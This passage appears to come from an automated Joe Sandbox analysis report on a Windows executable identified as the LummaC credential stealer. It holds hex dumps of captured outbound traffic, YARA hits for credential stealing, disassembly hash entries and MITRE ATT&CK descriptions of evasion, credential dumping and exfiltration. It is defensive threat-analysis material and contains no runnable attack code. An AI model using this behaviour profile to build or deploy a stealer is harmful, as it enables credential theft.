e8 8d 30 a8 2a 59 46 d5 97 a7 Data Ascii: W\|Nw{qcU_>O$-.buT+\|xN4=}rcJ`V%L\[moa)E.i0wbQwr."Ygz\|eH5xS={OFxQnS\|3yP:nKV@-\|k)ub~0*YF
2024-12-19 07:21:20 UTC	15331	OUT	Data Raw: 6e 4c 1f 2e dc 9a 73 e3 1b 31 d2 df 8a ba e8 a3 4f ef 2b 78 14 7a 6f d6 33 66 65 7f df a6 c0 7e ba 10 b6 f8 09 fb 46 72 75 27 9f ab 9e d0 de c8 9d db b3 fb 2d f9 d1 69 1c 92 eb 96 2b f5 30 14 69 12 8c 38 77 3f 9c e9 2b e4 f5 14 b4 aa 86 db 9b c8 2f 3a e1 6d 54 70 43 9b 8e b0 27 69 ed d2 81 c1 be ef 7c f8 b2 e1 74 3b 0e 8d 63 a3 b5 30 aa b5 55 f8 9a 96 7a 74 8f 02 b9 b0 d6 98 f5 d1 6f cb 58 3d 28 6c 6b e5 db 55 cb 44 2b 21 d2 a9 41 24 d5 1c 06 8b 97 07 17 b1 7a 72 30 a2 a1 26 69 df 5d d3 4b 67 18 67 13 8f 80 5e 11 f4 29 6b 32 d9 16 d8 9a 12 73 af a8 44 ee 7d 27 20 77 08 cc 1a 8e 6c de be ce 07 ca 34 63 4f 24 45 96 ef 0e 82 83 fd 42 40 00 d6 23 09 64 62 c8 73 ad c8 0f 28 5c f7 8f 1e 61 f0 f8 4d f9 c2 0f af 80 1b b9 22 84 cf b9 af 54 a4 c0 ba 62 c5 fb 6c 6e Data Ascii: nL.s1O+xzo3fe~Fru'-i+0i8w?+/:mTpC'i\|t;c0UztoX=(lkUD+!A$zr0&i]Kgg^)k2sD}' wl4cO$EB@#dbs(\aM"Tbln
2024-12-19 07:21:20 UTC	15331	OUT	Data Raw: 3a 82 05 25 2c 59 4b 9c 69 f2 b4 55 c6 e8 e0 c1 b8 10 b9 a5 1d d0 37 86 5e 81 68 15 de 76 ec 4b 39 ac 22 78 d9 c0 1e 6e a6 8b 8b ca d4 d9 80 77 c4 e1 b2 2c c8 ef 4e a6 0c d7 3a 02 42 86 78 b3 56 e1 f6 46 a7 f7 03 3d cd 9d 9f de f8 88 6b 8e d5 1e 07 29 74 1b 26 f7 ef 36 39 7c f9 e6 45 e8 17 ea 32 c7 77 58 23 a3 fa c5 4e bd a9 4e ce 4e 86 8f e7 2b 7e fc f9 8f 53 b4 24 fc fa b3 a2 b8 28 10 26 b5 f8 e6 a4 ad 27 6f ea e2 d5 d7 c4 e9 de 4e 0b 37 b8 f1 b1 88 a0 f2 ac 68 e3 c2 a9 30 a8 ec 11 75 9f 8a 87 1b eb c1 98 8c df 53 46 f8 68 e3 b8 08 bf 09 37 c1 4d 07 a4 19 33 eb de 1e 0f 3f e5 cc 64 61 e9 a8 0e d9 bc 57 ca 81 00 ce 19 11 c4 26 04 35 44 f7 71 9f 1d e5 71 1b 53 e3 c1 4f c5 f5 3b 41 85 9b a9 c4 64 2d de 5d 80 63 82 9b 7e d9 90 37 01 bf 08 ac 1c 72 ad 8d 7c Data Ascii: :%,YKiU7^hvK9"xnw,N:BxVF=k)t&69\|E2wX#NNN+~S$(&'oN7h0uSFh7M3?daW&5DqqSO;Ad-]c~7r\|
2024-12-19 07:21:20 UTC	15331	OUT	Data Raw: 44 13 c3 1a f5 27 25 50 d7 85 5d 73 97 55 c7 64 4a 52 52 7c 35 0f 4c 24 17 dd d5 46 a9 c8 af 97 6e 57 96 42 ad 7d a4 36 c8 4e d2 b3 9a 38 a3 26 f2 f0 c0 1d fa 29 55 08 ec 5b 12 a1 d6 6c e0 f0 21 9e 10 dd a8 16 f8 ce bc 67 af dd 57 bb 31 51 30 39 90 34 f1 12 10 f6 31 2e 48 31 e6 1b f7 fa 11 da 3e c3 27 f8 46 00 e3 22 02 a1 9e e0 e0 3b 50 ab 04 28 47 fc 20 00 fa 3d 18 ae 1e f3 48 39 12 fc e1 b2 4d 49 18 2b c3 d3 3e 7f 63 5d e4 20 a9 9c 1b 7f 97 7c 8e c6 2c 70 6a ae 5a eb fb a1 1c fe 97 a7 98 6b ba 9e 59 a0 90 b8 de 8c 26 4b 0a 98 3d 9c 5d d9 ae 32 ba 67 50 c4 6b b5 c6 53 fd 8c fb d7 6a 76 7a d5 62 e6 c4 20 7b 41 8f 4b 4d 96 6a e0 7d 72 2a da f3 83 93 ae a8 8f 71 f2 1b fe 38 54 75 fe 02 2f 7f 37 e8 de 03 c2 3f 69 1e d3 01 57 fb 99 67 b0 60 27 84 8a 67 b8 2e Data Ascii: D'%P]sUdJRR\|5L$FnWB}6N8&)U[l!gW1Q0941.H1>'F";P(G =H9MI+>c] \|,pjZkY&K=]2gPkSjvzb {AKMj}r*q8Tu/7?iWg`'g.
2024-12-19 07:21:20 UTC	15331	OUT	Data Raw: 51 cc f5 e6 5a d3 be 5e 2f c5 30 15 87 5c 58 b3 75 2e e7 90 8a c0 ce c5 75 3f 3e ca ab 55 69 46 b2 3f f4 4e 99 c4 c2 00 d1 f5 ed 20 b6 cc 78 e9 ca 72 cd ed f9 3b dc 39 8f 47 17 30 20 91 5a b3 b1 da 4a 35 fd 0d 98 68 65 ae f3 a9 4f 5b b9 ca 0b 6f 35 45 3a 87 bb 34 11 ad 57 3c 4f 93 a6 12 66 d6 17 37 92 71 e3 20 7c 66 6a c1 b2 b4 cf a5 99 4e 9b e2 03 54 f6 73 1f 40 41 6d ac 41 54 01 40 3b 0d d1 45 83 c1 7c 8b 1f 38 2e 02 1c 68 1a dc a1 ad ce a1 4b 41 39 f3 34 93 9b 68 e6 ca c0 3f 01 d2 f6 13 a8 3b bc a1 17 71 9f 9c 80 ad 59 16 bd c6 90 42 51 8f 36 23 23 f4 e0 e6 c5 7b 93 94 03 d5 21 36 07 de 79 da f7 ee ad 6c 87 6a 2c 85 d0 33 4b 23 a4 be be b2 52 c7 78 b4 bd 08 6a 1d 82 15 c9 f4 13 7c b0 23 e6 e7 5c e0 2b 14 b9 96 86 fc e4 0d c6 51 4b 24 32 9e 04 dd 6c 44 Data Ascii: QZ^/0\Xu.u?>UiF?N xr;9G0 ZJ5heO[o5E:4W<Of7q \|fjNTs@AmAT@;E\|8.hKA94h?;qYBQ6##{!6ylj,3K#Rxj\|#\+QK$2lD
2024-12-19 07:21:20 UTC	15331	OUT	Data Raw: 57 46 02 eb 12 05 ab 97 50 70 94 ac d9 36 82 f6 83 bf fa 10 a2 e1 13 02 68 e2 29 47 56 90 59 4a e0 f4 4b 32 c8 86 d5 31 9c 4d 08 4e 25 92 05 37 cf ec 03 bd 3a 63 bf 5e 3d 0b 83 6d a4 c1 85 18 c8 06 af f3 02 e4 2b e3 06 fe d2 cd d6 96 02 4d 92 14 31 30 2b 0a b5 42 a4 08 aa d9 0f e1 9c 0b 44 6b 31 ce e5 c8 34 9f 0d 9f 0b dc 44 66 c9 e1 f1 e2 bd 86 43 42 98 03 d8 e6 e3 61 aa a8 d3 9a 90 00 b3 a0 9e 18 03 da 36 07 6a 47 52 ce 92 10 e5 97 c4 85 21 22 3c 80 1d 87 7e bc 6f 54 4c c0 02 5e 48 4c f1 e1 55 f8 33 40 11 f3 ef 37 7d 40 41 ef 15 42 a2 51 f0 34 b8 04 b2 0b 38 58 e6 7f 26 bb a3 23 14 4a 15 09 7a e8 9f 73 59 40 03 18 94 e6 c5 99 c4 a2 ad 5a 84 ea 56 62 38 57 b4 d0 36 dc 44 16 55 5b 70 78 38 ef f3 c2 9c 89 14 f2 2c 61 04 0b 7e ce 35 5a 68 5c a7 25 a0 61 25 Data Ascii: WFPp6h)GVYJK21MN%7:c^=m+M10+BDk14DfCBa6jGR!"<~oTL^HLU3@7}@ABQ48X&#JzsY@ZVb8W6DU[px8,a~5Zh\%a%
2024-12-19 07:21:20 UTC	15331	OUT	Data Raw: ca 8b fb fc 6e ae 4a b4 5a fe 4d 0f 0e c1 0b 7d 5a 11 6a bc 6a 3e 20 1f 27 c5 39 7e 24 49 11 85 da df 95 ad 6e 17 84 43 b9 a6 95 a9 1e 41 21 d7 33 c4 24 67 74 f6 f1 f3 bb 57 60 b7 bd 5b e5 7b f0 13 6f b7 f2 d6 0f 70 18 9b 41 ee 42 0c 1d 6d 4b bb 90 70 6a 2f f7 af 3d 8c 47 90 44 43 ba d6 d5 64 82 a4 b6 f7 b0 92 7d e8 41 ee e3 10 83 87 89 61 c8 77 53 e4 af ab 24 cd 1b cf be f0 a7 4f ff f7 da 53 36 12 cf 45 44 ad c8 4b 92 d8 fc c6 ec 3c f1 e0 fd a2 28 80 9a cd bc a8 d1 cc 8e 66 98 3e 89 d4 db 7c 5d ab 6e c5 5f e3 d5 8a 7c a3 94 c0 58 35 f4 26 08 ef 9f 0e 34 69 95 94 f9 f7 18 fc a9 3f 9e 92 f0 89 a6 82 7d ef ef b7 2e bf 6e 27 4b 93 23 ca 0f 06 c7 ac 7f d9 fe 7a e7 04 f9 0e 6f dc 1f b9 69 50 c8 cd 3d 45 b0 4c 2e 42 0a f7 2a de b8 00 07 02 6a 38 d5 9a cb cc e5 Data Ascii: nJZM}Zjj> '9~$InCA!3$gtW`[{opABmKpj/=GDCd}AawS$OS6EDK<(f>\|]n_\|X5&4i?}.n'K#zoiP=EL.B*j8
2024-12-19 07:21:20 UTC	15331	OUT	Data Raw: ec d2 6b 4c 6f 94 ac 3c c4 ab 78 eb ed 17 c3 4b a0 6e fa 51 a8 39 67 f0 a3 2c 87 d7 5f 36 b0 1e e1 db 76 13 bb f2 bd 41 74 9c bd 73 70 a0 41 cc 03 af 14 de 46 ed 52 a6 fe 38 fb 63 13 e0 0d 7e da 30 2b a5 1b 3a f0 2e 94 1b 3c 9b 8d 96 2f ed 3c a7 3c e7 7c 73 78 27 7b f2 74 67 45 32 6e 75 1b 7b cd 62 a1 af 1c 5d 33 e3 5c c3 d6 28 99 a8 95 ed 1d 8d b1 11 07 ac 77 96 d5 7f 06 07 0e 0b 81 90 e9 9f 00 0c 04 fd f1 9c 65 1f 0f 13 d0 25 3d 13 60 dc 8c 64 0c 08 42 c4 84 13 9e 45 ff 68 28 99 cd f6 36 01 06 1b ff 05 8f 25 d7 31 ff 6f b9 83 36 44 de 88 ba f1 f3 e0 53 d1 8d 58 c5 de f0 94 2d 06 38 3d 94 89 b8 23 cb e6 aa 42 58 83 84 76 34 12 3b 4b 52 38 5b 8a 9a 10 8f 0c a6 97 b5 53 ef 2a ac 12 91 07 a2 be 6d 0f 09 f3 43 99 cb 48 9f 0b 60 da fd 8a fb 36 70 68 c7 da 7e Data Ascii: kLo<xKnQ9g,_6vAtspAFR8c~0+:.</<<\|sx'{tgE2nu{b]3\(we%=`dBEh(6%1o6DSX-8=#BXv4;KR8[S*mCH`6ph~
2024-12-19 07:21:23 UTC	1131	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:21:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ods3l1v5p1hj8ftn4m09def4vb; expires=Mon, 14 Apr 2025 01:08:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BlH4lk%2B2y7QrgfDgrDdBPRfV2wQ22ka9S5GyQ6eDHIe%2FJR73YHacwQV%2F%2BJxBFWQv5yOTqabr6EQoBIFhm%2BPElPA0YNM%2BDmbMgCDlztAQLJRBptryp4TC3FR2KbCbcOyO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45a2a0ece142f2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1613&min_rtt=1602&rtt_var=623&sent=361&recv=605&lost=0&retrans=0&sent_bytes=2830&recv_bytes=587163&delivery_rate=1726788&cwnd=222&unsent_bytes=0&cid=121a63394c16ea0d&ts=2519&x=0"

Target ID:	1
Start time:	02:21:02
Start date:	19/12/2024
Path:	C:\Users\user\Desktop\S6oj0LoSiL.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\S6oj0LoSiL.exe"
Imagebase:	0x660000
File size:	1'826'816 bytes
MD5 hash:	3DC730302DC71232EE3BB36DC669F3AE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1492688223.000000000050E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1492917579.000000000050F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Function 005655FF Relevance: 1.4, Strings: 1, Instructions: 164COMMON

Download Yara Rule

Strings

@Q, xrefs: 00565740

Memory Dump Source

Source File: 00000001.00000003.1492800766.000000000055E000.00000004.00000020.00020000.00000000.sdmp, Offset: 0055E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_50e000_S6oj0LoSiL.jbxd

Similarity

API ID:
String ID: @Q
API String ID: 0-2479421056
Opcode ID: cd5fa6361b8abcec07b5a2326e441a12be4d5a7f28e662e4cee7283b882c7eae
Instruction ID: 6ddd3bd6b9a2617ecb51f41483672efa771371de2829392fbe1cdff084ea1501
Opcode Fuzzy Hash: cd5fa6361b8abcec07b5a2326e441a12be4d5a7f28e662e4cee7283b882c7eae
Instruction Fuzzy Hash: C9415870499ED16FE722CB34CC49AB77F64FA833A6B9806DED8810F063E1115843C7A2

Function 0050FEFE Relevance: 1.4, Instructions: 1369COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1554743613.000000000050F000.00000004.00000020.00020000.00000000.sdmp, Offset: 0050E000, based on PE: false

Associated: 00000001.00000003.1529979913.000000000050E000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_50e000_S6oj0LoSiL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ade83b0352cce3573420c63dd34f6c87cffe8cbd0b42a5dd4ef7f0a49df62b6c
Instruction ID: d2023b67246ee23da9c541563b0e768e3654989a8430c79f463a8302075988dc
Opcode Fuzzy Hash: ade83b0352cce3573420c63dd34f6c87cffe8cbd0b42a5dd4ef7f0a49df62b6c
Instruction Fuzzy Hash: 1DA2FEA549E3C16FD30787706CAE9D2BF68AD4322531DC2CEE0844E4A3D69E855BC772

Function 0050FEFE Relevance: 1.4, Instructions: 1369COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1554743613.000000000050F000.00000004.00000020.00020000.00000000.sdmp, Offset: 0050F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_50e000_S6oj0LoSiL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ade83b0352cce3573420c63dd34f6c87cffe8cbd0b42a5dd4ef7f0a49df62b6c
Instruction ID: d2023b67246ee23da9c541563b0e768e3654989a8430c79f463a8302075988dc
Opcode Fuzzy Hash: ade83b0352cce3573420c63dd34f6c87cffe8cbd0b42a5dd4ef7f0a49df62b6c
Instruction Fuzzy Hash: 1DA2FEA549E3C16FD30787706CAE9D2BF68AD4322531DC2CEE0844E4A3D69E855BC772

Function 0051E1CD Relevance: .9, Instructions: 865COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1570420637.0000000000511000.00000004.00000020.00020000.00000000.sdmp, Offset: 0050F000, based on PE: false

Associated: 00000001.00000003.1554743613.000000000050F000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_50e000_S6oj0LoSiL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 561aab7ee74235f32deaf36a2d5a54581e6d14ece810f231d70abb0618eeb4d2
Instruction ID: db861933273d3ab124d891c63057ce34a73a5ed5be4d9dc8e2611692bf73702b
Opcode Fuzzy Hash: 561aab7ee74235f32deaf36a2d5a54581e6d14ece810f231d70abb0618eeb4d2
Instruction Fuzzy Hash: 5DE199A18AE7C11FE70787B00CAA4957F746C5322431E86DFD4D5CB4A3E68C8A4AD363

Function 00513C63 Relevance: .6, Instructions: 621COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1570420637.0000000000511000.00000004.00000020.00020000.00000000.sdmp, Offset: 0050E000, based on PE: false

Associated: 00000001.00000003.1529979913.000000000050E000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_50e000_S6oj0LoSiL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 968e1d119f479245294ec35beda4e20d471039241d81933b98a354c4634f701a
Instruction ID: 782bb5b066ccf51b05bf303c8e109f67b10e3da0b34c9255d13b17ff89565685
Opcode Fuzzy Hash: 968e1d119f479245294ec35beda4e20d471039241d81933b98a354c4634f701a
Instruction Fuzzy Hash: 4542DA6144E7C15FE7278B704C3A592BF74AE6320476E49CFC4C1CF0A3D269998ACB62

Function 00513C63 Relevance: .6, Instructions: 621COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1570420637.0000000000511000.00000004.00000020.00020000.00000000.sdmp, Offset: 0050F000, based on PE: false

Associated: 00000001.00000003.1554743613.000000000050F000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_50e000_S6oj0LoSiL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 968e1d119f479245294ec35beda4e20d471039241d81933b98a354c4634f701a
Instruction ID: 782bb5b066ccf51b05bf303c8e109f67b10e3da0b34c9255d13b17ff89565685
Opcode Fuzzy Hash: 968e1d119f479245294ec35beda4e20d471039241d81933b98a354c4634f701a
Instruction Fuzzy Hash: 4542DA6144E7C15FE7278B704C3A592BF74AE6320476E49CFC4C1CF0A3D269998ACB62

Function 0051B2BC Relevance: .3, Instructions: 329COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1570420637.0000000000511000.00000004.00000020.00020000.00000000.sdmp, Offset: 0050F000, based on PE: false

Associated: 00000001.00000003.1554743613.000000000050F000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_50e000_S6oj0LoSiL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58af58d2c86994b6c3100ad2e5841a341fa8300336b2d3b7ca8219bc9578423e
Instruction ID: ba68b026fe6ce09ab1330f98cd47281148bf724f70f2126f9d5f70d0164f8170
Opcode Fuzzy Hash: 58af58d2c86994b6c3100ad2e5841a341fa8300336b2d3b7ca8219bc9578423e
Instruction Fuzzy Hash: 6E81AB6604E3D18FE7038B748865A827FB1AF07324B1E46DBC4C0CF5B3E269595AC762

Function 0055E3F7 Relevance: .2, Instructions: 213COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1492800766.000000000055E000.00000004.00000020.00020000.00000000.sdmp, Offset: 0055E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_50e000_S6oj0LoSiL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b795b587149e8cacfea948b0e279bc7a503ccd665efa957b010f6bdd5cb9a442
Instruction ID: 0e7924b7f4eaf075619ee0683ea767257a8259caf9ad7ec61cef6c4ece726fe3
Opcode Fuzzy Hash: b795b587149e8cacfea948b0e279bc7a503ccd665efa957b010f6bdd5cb9a442
Instruction Fuzzy Hash: EE81206145E7C1AFC7178B344C368AA7FB4AE0322931E06CBD4D0DF0E3E6185A4AD766

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report S6oj0LoSiL.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
S6oj0LoSiL.exe